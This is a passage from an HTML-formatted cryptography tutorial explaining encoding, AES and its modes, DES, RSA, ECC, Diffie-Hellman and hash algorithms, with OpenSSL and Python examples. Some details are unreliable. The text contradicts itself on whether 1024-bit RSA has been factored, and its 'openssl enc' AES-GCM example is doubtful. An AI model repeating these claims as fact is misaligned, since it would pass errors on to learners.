&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"48656c6c6f"&lt;/span&gt; | xxd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;                      &lt;span class="c"&gt;# Hex decode: Hello&lt;/span&gt;

&lt;span class="c"&gt;# Detect encoding in captured traffic:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SGVsbG8gV29ybGQ="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;               &lt;span class="c"&gt;# Check if it's base64&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"48656c6c6f"&lt;/span&gt; | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 The Critical Security Distinction
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Most common security mistake: treating encoding as encryption

Example — "stored encoded" passwords (wrong!):
  Password: "SecretPass123"
  Stored as: base64("SecretPass123") = "U2VjcmV0UGFzczEyMw=="
  Security provided: ZERO
  If database is breached: echo "U2VjcmV0UGFzczEyMw==" | base64 -d → SecretPass123

Correct approach:
  Password: "SecretPass123"
  Stored as: bcrypt("SecretPass123") = "$2b$12$LKJSD...."
  Security: computationally infeasible to reverse
  If database is breached: hashes must be cracked (expensive)

Example — "encoded" API credentials in source code:
  API_KEY = base64.encode("ak_prod_12345secret")
  Developers think this hides the key in code
  Anyone who reads the code: decode → plaintext key
  Correct: environment variables, secrets management (Vault, AWS Secrets Manager)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Symmetric Encryption — AES, DES, 3DES, Blowfish
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 How Symmetric Encryption Works
&lt;/h3&gt;

&lt;p&gt;Symmetric encryption uses the &lt;strong&gt;same key&lt;/strong&gt; for encryption and decryption. The key must be shared between sender and receiver through a secure channel — the "key distribution problem."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Symmetric Encryption Flow:

  Alice                              Bob
    │                                 │
    │ Encrypt with shared key K       │
    │ "Hello" + K → "x7Kp2mQ9..."   │
    │                                 │
    │ ─── Ciphertext ───────────────→ │
    │     (safe to send publicly)     │
    │                                 │
    │                 Decrypt with K  │
    │                 "x7Kp2mQ9..." + K → "Hello"

Key distribution problem:
  How do Alice and Bob share key K securely?
  If they're communicating for the first time over an insecure channel:
  Sending K over the channel → attacker intercepts K → can decrypt everything

Solution: Use asymmetric encryption to exchange the symmetric key
  (this is exactly what TLS does — see Section 10)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Block Ciphers vs Stream Ciphers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block Ciphers:
  Process data in fixed-size blocks (64-bit, 128-bit)
  Examples: AES (128-bit blocks), DES (64-bit blocks)
  Must handle data that isn't exactly block-size → padding
  Mode of operation determines security properties

Stream Ciphers:
  Process data one bit/byte at a time
  Examples: RC4 (broken), ChaCha20 (modern, secure)
  No padding needed
  More efficient for streaming data
  Crucial: NEVER reuse the same key+nonce combination
           Reuse → XOR ciphertexts → plaintext recovered
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Block Cipher Modes of Operation
&lt;/h3&gt;

&lt;p&gt;The mode of operation transforms a block cipher into a complete encryption scheme. Different modes have radically different security properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ECB (Electronic Codebook) — NEVER USE:
  Each block encrypted independently with same key
  Same plaintext block → same ciphertext block

  Security failure:
  Block 1: "Hello Wor" → "x7Kp2mQ9"
  Block 2: "Hello Wor" → "x7Kp2mQ9"  (IDENTICAL — reveals pattern)

  The Linux Penguin (ECB mode image encryption):
  Encrypt a bitmap image of a penguin with AES-ECB
  The outline of the penguin is still visible in the ciphertext
  Because identical pixel blocks produce identical ciphertext blocks
  ECB is broken for any data with patterns (text, images, structured data)

CBC (Cipher Block Chaining) — Common, requires care:
  Each block XOR'd with previous ciphertext before encryption
  Requires Initialization Vector (IV) for first block
  IV must be random and unique per message

  Vulnerabilities:
  - Padding oracle attacks (POODLE, CBC padding oracle)
  - IV reuse → information leakage
  - CBC decryption is parallelisable, encryption is not

CTR (Counter Mode) — Recommended:
  Uses block cipher as pseudo-random generator
  Counter value encrypted, XOR'd with plaintext
  Transforms block cipher into stream cipher
  Encryption AND decryption are parallelisable
  Random access within ciphertext possible

GCM (Galois/Counter Mode) — Best practice:
  CTR mode + Galois Message Authentication Code (GMAC)
  Provides both confidentiality AND integrity/authentication
  "Authenticated encryption with associated data" (AEAD)

  This is what TLS 1.3 uses: AES-128-GCM, AES-256-GCM, ChaCha20-Poly1305

  Critical: GCM nonce must NEVER be reused with the same key
  Nonce reuse in GCM → authentication key revealed → all security lost
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.4 AES — Advanced Encryption Standard
&lt;/h3&gt;

&lt;p&gt;AES (Rijndael algorithm, selected by NIST 2001) is the gold standard for symmetric encryption. Understanding how it works illuminates why it is secure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AES Specifications:
  Block size: 128 bits (16 bytes) — ALWAYS
  Key sizes: 128, 192, or 256 bits
  Rounds: 10 (AES-128), 12 (AES-192), 14 (AES-256)

AES Internal Structure — Substitution-Permutation Network:

State: 4×4 matrix of bytes (128 bits)
┌──┬──┬──┬──┐
│b0│b4│b8│b12│
│b1│b5│b9│b13│
│b2│b6│b10│b14│
│b3│b7│b11│b15│
└──┴──┴──┴──┘

Each round (except last) applies four operations:

1. SubBytes: each byte replaced by substitute from S-box (256-entry lookup table)
   Provides non-linearity (without this, AES would be linear algebra — trivially broken)

2. ShiftRows: row i is shifted i bytes to the left
   Row 0: unchanged
   Row 1: [b1,b5,b9,b13] → [b5,b9,b13,b1]
   Row 2: [b2,b6,b10,b14] → [b10,b14,b2,b6]
   Row 3: [b3,b7,b11,b15] → [b15,b3,b7,b11]
   Provides diffusion across columns

3. MixColumns: each column multiplied by a matrix in GF(2^8)
   Provides diffusion — one input bit affects multiple output bytes

4. AddRoundKey: XOR state with round key (derived from original key via key schedule)

Final round: SubBytes + ShiftRows + AddRoundKey (no MixColumns)
Key schedule: original key expanded into 11 (AES-128) or 15 (AES-256) round keys

Security: No known attacks significantly better than brute force against AES itself
          All known vulnerabilities are implementation-level (timing attacks, cache attacks)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.5 DES — Data Encryption Standard
&lt;/h3&gt;

&lt;p&gt;DES (IBM/NIST, 1977) was the dominant encryption standard for 20 years. It is now completely broken.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DES Specifications:
  Block size: 64 bits (8 bytes)
  Key size: 56 bits (actually 64 bits, 8 are parity bits)
  Rounds: 16 (Feistel network)

Why DES is broken:
  56-bit key = 2^56 = 72 quadrillion possible keys
  1998: EFF's "Deep Crack" machine cracked DES in 22 hours for $250,000
  2008: FPGA cluster cracked DES in 6.4 days for $10,000
  2012: Cloud computing: DES crackable in hours for ~$100
  Today: DES cracked in minutes on commodity hardware

DES Attacks:
  - Brute force: 2^56 key search (trivial with modern hardware)
  - Differential cryptanalysis: theoretical attacks requiring 2^47 chosen plaintexts
  - Linear cryptanalysis: requires 2^43 known plaintexts
  - Neither more practical than brute force — brute force is already practical

Do not use DES for any purpose.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.6 3DES (Triple DES)
&lt;/h3&gt;

&lt;p&gt;3DES applies DES three times to extend effective key length.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;3DES Variants:
  DES-EEE3: Encrypt-Encrypt-Encrypt with 3 different keys (168-bit key, 112-bit security)
  DES-EDE3: Encrypt-Decrypt-Encrypt with 3 different keys (most common, "Triple DES")
  DES-EDE2: Encrypt-Decrypt-Encrypt with 2 different keys (K1=K3, 112-bit key, 80-bit security)

Why 3DES doesn't give 168-bit security:
  Meet-in-the-Middle attack reduces DES-EDE3 to ~112 bits of security
  Still exponentially better than single DES

Problems with 3DES:
  - 64-bit block size → "birthday bound" problem
  - After 2^32 blocks (~32 GB), collisions become likely
  - SWEET32 attack (CVE-2016-2183): exploits 64-bit block birthday bound
    to recover plaintext from long-lived TLS sessions using 3DES
  - Only ~112 bits of security (not 168)
  - MUCH slower than AES (3× DES operations per block)

NIST deprecated 3DES in 2017 (allowed until 2023, disallowed after)
3DES is still found in: legacy payment systems (PCI-DSS grace period),
old TLS configurations, mainframe systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.7 Blowfish and Twofish
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Blowfish (Bruce Schneier, 1993):
  Block size: 64 bits (same birthday-bound problem as DES/3DES)
  Key size: 32-448 bits (variable)
  Design: public domain, no patent

  Security: No known significant vulnerabilities against Blowfish itself
  Problem: 64-bit block size (SWEET32 applies)
  Use: bcrypt password hashing algorithm uses modified Blowfish (Eksblowfish)
       bcrypt is still recommended for passwords — Blowfish-derived, not raw Blowfish

  Do not use raw Blowfish for data encryption today.

Twofish (Schneier et al., 1998):
  AES finalist (lost to Rijndael in 2001 selection)
  Block size: 128 bits (no birthday-bound problem)
  Key size: 128, 192, 256 bits
  Public domain, no patent
  Still considered secure — no known practical attacks
  Less deployed than AES (lost the competition)
  Available in: TrueCrypt/VeraCrypt, GPG, some TLS configurations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Symmetric encryption in practice:&lt;/span&gt;

&lt;span class="c"&gt;# AES-256-GCM encryption with OpenSSL:&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-aes-256-gcm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-in&lt;/span&gt; plaintext.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; encrypted.bin &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pass&lt;/span&gt; pass:&lt;span class="s2"&gt;"MySecretPassword"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000
&lt;span class="c"&gt;# -aes-256-gcm: AES 256-bit in GCM mode (authenticated encryption)&lt;/span&gt;
&lt;span class="c"&gt;# -pass pass: derive key from password&lt;/span&gt;
&lt;span class="c"&gt;# -pbkdf2: use PBKDF2 key derivation (not simple MD5)&lt;/span&gt;
&lt;span class="c"&gt;# -iter 100000: 100,000 iterations of PBKDF2 (makes brute force slower)&lt;/span&gt;

&lt;span class="c"&gt;# Decryption:&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-aes-256-gcm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-in&lt;/span&gt; encrypted.bin &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-out&lt;/span&gt; decrypted.txt &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pass&lt;/span&gt; pass:&lt;span class="s2"&gt;"MySecretPassword"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-pbkdf2&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-iter&lt;/span&gt; 100000

&lt;span class="c"&gt;# AES in Python (cryptography library):&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os

# Generate random 256-bit key
key = os.urandom(32)              # 32 bytes = 256 bits

# Generate random 96-bit nonce (12 bytes — recommended for GCM)
nonce = os.urandom(12)

# Create AES-GCM cipher
aesgcm = AESGCM(key)

# Encrypt
plaintext = b"Secret message"
associated_data = b"authenticated but not encrypted metadata"
ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
print(f"Ciphertext: {ciphertext.hex()}")
print(f"Length: {len(ciphertext)} bytes (plaintext + 16-byte auth tag)")

# Decrypt (will raise exception if tampered)
try:
    decrypted = aesgcm.decrypt(nonce, ciphertext, associated_data)
    print(f"Decrypted: {decrypted}")
except Exception as e:
    print(f"Authentication failed: {e}")  # Ciphertext was modified
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# Check what cipher a TLS connection uses:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Cipher"&lt;/span&gt;
&lt;span class="c"&gt;# Look for: AES-128-GCM or AES-256-GCM or CHACHA20-POLY1305&lt;/span&gt;

&lt;span class="c"&gt;# Test if a server still supports broken ciphers:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; ssl-enum-ciphers &lt;span class="nt"&gt;-p&lt;/span&gt; 443 target.com | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"DES|RC4|NULL|EXPORT"&lt;/span&gt;
&lt;span class="c"&gt;# Any of these: immediately report — broken ciphers in use&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; AES-256-GCM is the correct answer for symmetric encryption in 2024. The mode matters as much as the algorithm — AES-ECB is broken regardless of key length. GCM's built-in authentication tag (AEAD) means you get confidentiality and integrity in a single primitive. If you see DES, 3DES, RC4, or ECB mode anywhere in a production system, it is a vulnerability.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Asymmetric Encryption — RSA, ECC, Diffie-Hellman
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 The Key Exchange Problem — Why Asymmetric Cryptography Exists
&lt;/h3&gt;

&lt;p&gt;Symmetric encryption has a fundamental problem: both parties must share the same key before they can communicate securely. How do you share a key securely with someone you've never met, over an insecure channel?&lt;/p&gt;

&lt;p&gt;Asymmetric cryptography (public key cryptography) solves this by using mathematically related key pairs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Public key:&lt;/strong&gt; can be shared with anyone&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private key:&lt;/strong&gt; kept secret, never shared
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Key Pair Relationship:

  Private Key                Public Key
  ───────────               ─────────────
  Secret (never share)      Share freely
  Decrypts what public      Encrypts for private
  key encrypted             key holder
  Signs messages            Verifies signature

The magic: public and private keys are mathematically related
but it is computationally infeasible to derive the private key
from the public key (assuming the hard problems hold)

Analogy:
  Public key = padlock (anyone can lock)
  Private key = key to open the padlock

  You give your padlock to Alice
  Alice puts message in box, locks with your padlock
  Only you (private key holder) can open the padlock
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 RSA — Rivest-Shamir-Adleman
&lt;/h3&gt;

&lt;p&gt;RSA (1977) is based on the difficulty of factoring large integers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RSA Key Generation:
1. Choose two large prime numbers p and q (each ~1024-2048 bits)
2. Compute n = p × q (the modulus — public)
3. Compute φ(n) = (p-1)(q-1) (Euler's totient — secret)
4. Choose e such that 1 &amp;lt; e &amp;lt; φ(n) and gcd(e, φ(n)) = 1
   (public exponent — usually 65537 = 2^16 + 1)
5. Compute d = e^(-1) mod φ(n) (private exponent)

Public key:  (n, e)
Private key: (n, d)  [also need p, q for efficient computation]

RSA Encryption (message M):
  Ciphertext C = M^e mod n

RSA Decryption:
  Message M = C^d mod n

Security: Given n, find p and q (integer factorisation)
  This is computationally hard for large n (2048+ bits)

RSA Key Sizes and Security:
  1024-bit: BROKEN (factorable since 2010, do not use)
  2048-bit: Currently secure minimum (recommended for legacy compat)
  3072-bit: Post-2030 recommendation
  4096-bit: High-security applications
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RSA Attack History:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RSA-768 factored (2009): 768-bit RSA key factored using 30 years of CPU time
RSA-1024: Not yet factored but academic consensus: should not be used
ROCA vulnerability (CVE-2017-15361):
  Infineon Technologies RSA key generation library flaw
  Generated keys with detectable prime patterns
  Allowed factoring 1024-bit keys in &amp;lt;1 hour, 2048-bit in ~2 weeks
  Affected: YubiKey, TPM chips, smart cards
  1.25 billion keys potentially vulnerable

Bleichenbacher's attack (1998, recurring as ROBOT 2017):
  RSA PKCS#1 v1.5 padding oracle
  If server responds differently to valid vs invalid padding:
  Attacker can recover plaintext of RSA-encrypted messages
  Requires ~1 million queries to server
  Affected F5, Citrix, Cisco, Palo Alto and others in 2017
  ROBOT (Return Of Bleichenbacher's Oracle Threat) - 19 years after original
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 ECC — Elliptic Curve Cryptography
&lt;/h3&gt;

&lt;p&gt;ECC is based on the algebraic structure of elliptic curves over finite fields.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Elliptic Curve:
  y² = x³ + ax + b (over a finite field GF(p))

  Standard curves (NIST):
  P-256 (secp256r1): 256-bit, 128-bit security
  P-384 (secp384r1): 384-bit, 192-bit security
  P-521 (secp521r1): 521-bit, 260-bit security

  Alternative curves (more trusted implementation properties):
  Curve25519: Ed25519 signatures, X25519 key exchange (preferred)
              Designed by Daniel Bernstein, no NIST involvement
              No concerns about NIST/NSA backdoor in curve parameters
              Used in: Signal, TLS 1.3 key exchange, SSH keys, WireGuard

ECC Key Exchange (ECDH — Elliptic Curve Diffie-Hellman):
  1. Alice generates private key a, computes public key A = a×G (G = generator point)
  2. Bob generates private key b, computes public key B = b×G
  3. Alice computes shared secret: S = a×B = a×(b×G) = (ab)×G
  4. Bob computes shared secret: S = b×A = b×(a×G) = (ab)×G
  Both get the same shared secret without ever transmitting it

ECC Signatures (ECDSA — Elliptic Curve Digital Signature Algorithm):
  Sign with private key, verify with public key
  Much shorter signatures than RSA for equivalent security:
  RSA-2048 signature: 256 bytes
  ECDSA-256 signature: 64 bytes

Advantage over RSA:
  256-bit ECC ≈ 3072-bit RSA in security
  Shorter keys = faster computation, less storage, smaller certificates
  TLS 1.3 exclusively uses ECDHE for key exchange (no RSA key exchange)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.4 Diffie-Hellman Key Exchange
&lt;/h3&gt;

&lt;p&gt;DH (1976) was the first public key exchange protocol published. It solves key distribution without ever transmitting the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Classic DH (finite field):

1. Public parameters: prime p, generator g (both public, known to everyone)

2. Alice: chooses secret a, computes A = g^a mod p (sends A to Bob)
3. Bob:   chooses secret b, computes B = g^b mod p (sends B to Alice)

4. Alice: computes S = B^a mod p = (g^b)^a mod p = g^(ab) mod p
5. Bob:   computes S = A^b mod p = (g^a)^b mod p = g^(ab) mod p

Both get the same S = g^(ab) mod p — the shared secret
Attacker sees: p, g, A=g^a mod p, B=g^b mod p
To find S: must solve discrete logarithm problem (find a from g^a mod p)
This is computationally hard for large p

DH Key Sizes:
  1024-bit: deprecated (Logjam attack showed feasibility of precomputation)
  2048-bit: minimum acceptable
  3072-bit: recommended

Ephemeral DH (DHE / ECDHE):
  New a, b generated for each session
  Provides: Perfect Forward Secrecy (PFS)
  If long-term key (private key) is compromised later:
  Past sessions cannot be decrypted (each had unique ephemeral keys)

  CRITICAL SECURITY PROPERTY:
  RSA key exchange (static): compromise private key → decrypt ALL past sessions
  ECDHE: compromise private key → can impersonate server, but past sessions safe

  TLS 1.3 mandates ECDHE — forward secrecy is no longer optional
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Asymmetric cryptography in practice:&lt;/span&gt;

&lt;span class="c"&gt;# Generate RSA key pair:&lt;/span&gt;
openssl genrsa &lt;span class="nt"&gt;-out&lt;/span&gt; private.pem 4096           &lt;span class="c"&gt;# Generate 4096-bit RSA private key&lt;/span&gt;
openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; public.pem  &lt;span class="c"&gt;# Extract public key&lt;/span&gt;

&lt;span class="c"&gt;# View key details:&lt;/span&gt;
openssl rsa &lt;span class="nt"&gt;-in&lt;/span&gt; private.pem &lt;span class="nt"&gt;-text&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;span class="c"&gt;# Shows: modulus, public exponent (65537), private exponent, primes&lt;/span&gt;

&lt;span class="c"&gt;# Generate ECC key pair (preferred):&lt;/span&gt;
openssl ecparam &lt;span class="nt"&gt;-name&lt;/span&gt; prime256v1 &lt;span class="nt"&gt;-genkey&lt;/span&gt; &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; ec_private.pem  &lt;span class="c"&gt;# P-256&lt;/span&gt;
openssl ec &lt;span class="nt"&gt;-in&lt;/span&gt; ec_private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; ec_public.pem
&lt;span class="c"&gt;# Or use Curve25519 (preferred):&lt;/span&gt;
openssl genpkey &lt;span class="nt"&gt;-algorithm&lt;/span&gt; X25519 &lt;span class="nt"&gt;-out&lt;/span&gt; x25519_private.pem
openssl pkey &lt;span class="nt"&gt;-in&lt;/span&gt; x25519_private.pem &lt;span class="nt"&gt;-pubout&lt;/span&gt; &lt;span class="nt"&gt;-out&lt;/span&gt; x25519_public.pem

&lt;span class="c"&gt;# RSA encrypt/decrypt:&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Secret message"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; plaintext.txt
openssl rsautl &lt;span class="nt"&gt;-encrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; public.pem &lt;span class="nt"&gt;-pubin&lt;/span&gt; &lt;span class="nt"&gt;-in&lt;/span&gt; plaintext.txt &lt;span class="nt"&gt;-out&lt;/span&gt; encrypted.bin
openssl rsautl &lt;span class="nt"&gt;-decrypt&lt;/span&gt; &lt;span class="nt"&gt;-inkey&lt;/span&gt; private.pem &lt;span class="nt"&gt;-in&lt;/span&gt; encrypted.bin &lt;span class="nt"&gt;-out&lt;/span&gt; decrypted.txt
&lt;span class="nb"&gt;cat &lt;/span&gt;decrypted.txt

&lt;span class="c"&gt;# Check a server's public key:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; google.com:443 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-text&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Public Key Algorithm|Public-Key:"&lt;/span&gt;
&lt;span class="c"&gt;# Shows: RSA 2048-bit or EC P-256 etc.&lt;/span&gt;

&lt;span class="c"&gt;# Python - RSA encryption:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes, serialization

# Generate 2048-bit RSA key pair
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

# Encrypt with public key (OAEP padding — correct padding scheme)
message = b"Secret message"
ciphertext = public_key.encrypt(
    message,
    padding.OAEP(
        mgf=padding.MGF1(algorithm=hashes.SHA256()),
        algorithm=hashes.SHA256(),
        label=None
    )
)
print(f"Encrypted: {ciphertext[:20].hex()}... ({len(ciphertext)} bytes)")

# Decrypt with private key
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()),
                 algorithm=hashes.SHA256(), label=None)
)
print(f"Decrypted: {plaintext}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; RSA and ECC solve the key distribution problem but are NOT used to encrypt actual data at scale — they are too slow. In practice, asymmetric cryptography is used to securely exchange a symmetric key, which then encrypts the actual data. This hybrid approach (asymmetric for key exchange, symmetric for data encryption) is exactly how TLS works.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Hash Functions — MD5, SHA-1, SHA-256, SHA-3
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What Hash Functions Are
&lt;/h3&gt;

&lt;p&gt;A cryptographic hash function takes any input (any size) and produces a fixed-size output (digest/hash) with specific mathematical properties.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash Function Properties (required for security):

1. Deterministic: Same input → always same output
   hash("Hello") → always produces the same hash

2. Fixed Output Size: Regardless of input length
   hash("a") → 256 bits
   hash(entire_movie.mp4) → 256 bits (same length)

3. One-Way (Preimage Resistance):
   Given H, computationally infeasible to find M where hash(M) = H
   Cannot reverse the hash to get input

4. Second Preimage Resistance:
   Given M1, computationally infeasible to find M2 where hash(M1) = hash(M2)
   Cannot find a different input with the same hash

5. Collision Resistance:
   Computationally infeasible to find ANY M1, M2 where hash(M1) = hash(M2)
   (Note: collisions MUST exist — infinite inputs, finite outputs)
   But finding them should be computationally infeasible

6. Avalanche Effect: Small change → completely different output
   hash("Hello") → "2cf24d..."
   hash("hello") → "b94d27b9..."  (completely different — 1 bit change)
   This prevents any correlation between input and output
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Hash Algorithms Comparison
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Algorithm  Output   Status         Best Attack           Security
──────────────────────────────────────────────────────────────────────────────
MD5        128-bit  BROKEN         Collision: 2009       NONE for integrity
                                   (Flame malware used   DO NOT USE
                                   MD5 collision for
                                   code signing bypass)
SHA-1      160-bit  BROKEN         SHAttered (2017):     DO NOT USE
                                   Google/CWI computed   for security
                                   first SHA-1 collision purposes
                                   Cost: ~$100,000 GPU
SHA-224    224-bit  Deprecated     Theoretical only      Acceptable transitional
SHA-256    256-bit  SECURE         No practical attack    128-bit security
                                   known                  USE THIS
SHA-384    384-bit  SECURE         No practical attack    192-bit security
SHA-512    512-bit  SECURE         No practical attack    256-bit security
SHA-3-256  256-bit  SECURE         Different design       128-bit security
                                   from SHA-2 family     Use for diversity
BLAKE2b    512-bit  SECURE         No practical attack    256-bit security
                                                          Faster than SHA-3
BLAKE3     256-bit  SECURE         No practical attack    128-bit security
                                                          Fastest modern hash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 MD5 — Broken
&lt;/h3&gt;



